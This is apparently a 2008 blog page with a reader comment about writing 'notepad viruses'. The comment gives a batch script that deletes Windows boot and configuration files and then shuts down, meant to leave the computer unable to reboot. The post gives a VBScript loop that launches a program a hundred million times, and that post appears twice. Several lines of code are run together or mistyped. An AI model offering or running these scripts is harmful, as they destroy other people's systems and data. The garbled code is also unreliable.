i have a lot of note pad viruses here is one that i tried
:@echo off
attrib –r –s –h c:\autoexec.bat
del c:\autoexec.bat
attrib –r –s –h c:\boot.inidel c:\boot.ini
attrib –r –s –h c:\ntldrdel c:\ntdlr
attrib –r –s –h c:\windows\win.ini
del c:\windows\win.ini
@echo off
Msg *YOU GOT INFECTED!Shutdown –s –t 7 –c “A VIRUS IS TAKING OVER c:Drive
It should shutdown the computer u use it on and disable its ability to reboot, the only bad thing is you cant spread it automatically like ODINGA.
Just save it as .bat
Friday, April 18, 2008
Writing your own computer virus
Well people,this is a blog for computer science guys,so if you understand the language go ahead.
Am illustarting how to write a script for a simple virus.We shall then discus it later.This virus doesn`t spoil your pc but will just annoy you.
Remember to save it in notepad as .bat file. click on it to experiment
Option Explicit
Dim WSHShell
Set WSHShell=Wscript.CreateObject("Wscript.Shell")
Dim x
For x = 1 to 100000000
WSHShell.Run "Tourstart.exe"Next
Am illustarting how to write a script for a simple virus.We shall then discus it later.This virus doesn`t spoil your pc but will just annoy you.
Remember to save it in notepad as .bat file. click on it to experiment
Option Explicit
Dim WSHShell
Set WSHShell=Wscript.CreateObject("Wscript.Shell")
Dim x
For x = 1 to 100000000
WSHShell.Run "Tourstart.exe"Next
Subscribe to:
Posts (Atom)